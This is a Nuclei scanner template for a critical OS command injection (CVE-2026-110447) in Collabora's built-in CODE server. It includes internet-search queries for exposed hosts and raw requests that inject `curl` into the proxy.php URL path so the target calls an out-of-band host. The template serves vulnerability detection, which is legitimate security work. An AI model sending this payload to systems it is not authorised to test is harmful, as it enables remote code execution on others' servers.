CVE-2026-110447: Collabora Built-in CODE Server < 26.4.303 - OS Command Injection

id: CVE-2026-110447

info:
  name: Collabora Built-in CODE Server < 26.4.303 - OS Command Injection
  author: alex700
  severity: critical
  description: |
    Collabora Online Built-in CODE Server before 26.4.303 contains a command injection caused by improper handling in proxy.php when the CODE server is not running, letting remote attackers execute OS commands, exploit requires CODE server to be stopped.
  impact: |
    Remote attackers can execute arbitrary OS commands, potentially leading to full system compromise.
  remediation: |
    Upgrade to version 26.4.303 or later.
  reference:
    - https://github.com/CollaboraOnline/richdocumentscode/issues/354
    - https://github.com/CollaboraOnline/richdocumentscode/compare/26.4.302...26.4.303
    - https://github.com/CVEProject/cvelistV5/blob/main/cves/2026/110xxx/CVE-2026-110447.json
    - https://nvd.nist.gov/vuln/detail/CVE-2026-110447
  classification:
    cve-id: CVE-2026-110447
    epss-score: 0.73307
    epss-percentile: 0.99463
    cwe-id: CWE-78
    cvss-score: 9.2
    cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
  metadata:
    verified: true
    max-request: 4
    vendor: collabora
    product: richdocumentscode
    fofa-query: body="/apps/richdocumentscode/"
    shodan-query: http.html:"/apps/richdocumentscode/"
    publicwww-query: "/apps/richdocumentscode/"
  tags: cve,cve2026,collabora,nextcloud,richdocumentscode,rce,oast,intrusive,vuln,kev,vkev

flow: (http(1) && http(2)) || (http(3) && http(4))

http:
  - method: GET
    path:
      - "{{BaseURL}}/apps/richdocumentscode/proxy.php?nuclei_detect"
    matchers:
      - type: word
        part: body
        words:
          - "Socket proxy error"
        internal: true

  - unsafe: true
    raw:
      - |+
        GET /x$(curl${IFS}-s${IFS}{{interactsh-url}})x/%2e%2e/apps/richdocumentscode/proxy.php?status HTTP/1.1
        Host: {{Hostname}}
        Connection: close

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"status"'
      - type: word
        part: interactsh_protocol
        words:
          - "http"

  - method: GET
    path:
      - "{{BaseURL}}/apps/richdocumentscode_arm64/proxy.php?nuclei_detect"
    matchers:
      - type: word
        part: body
        words:
          - "Socket proxy error"
        internal: true

  - unsafe: true
    raw:
      - |+
        GET /x$(curl${IFS}-s${IFS}{{interactsh-url}})x/%2e%2e/apps/richdocumentscode_arm64/proxy.php?status HTTP/1.1
        Host: {{Hostname}}
        Connection: close

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"status"'
      - type: word
        part: interactsh_protocol
        words:
          - "http"
# digest: 4a0a00473045022100ebc0b2b2f5989195264ca03d930b1c4326d5ba0b937a5849a00491621e303b9302207ecab902b5f19c81fbd5eb8aac9fcddc48c40b075e2df2400cb1dd7a29541f6d:922c64590222798bb761d5b6d8e72950

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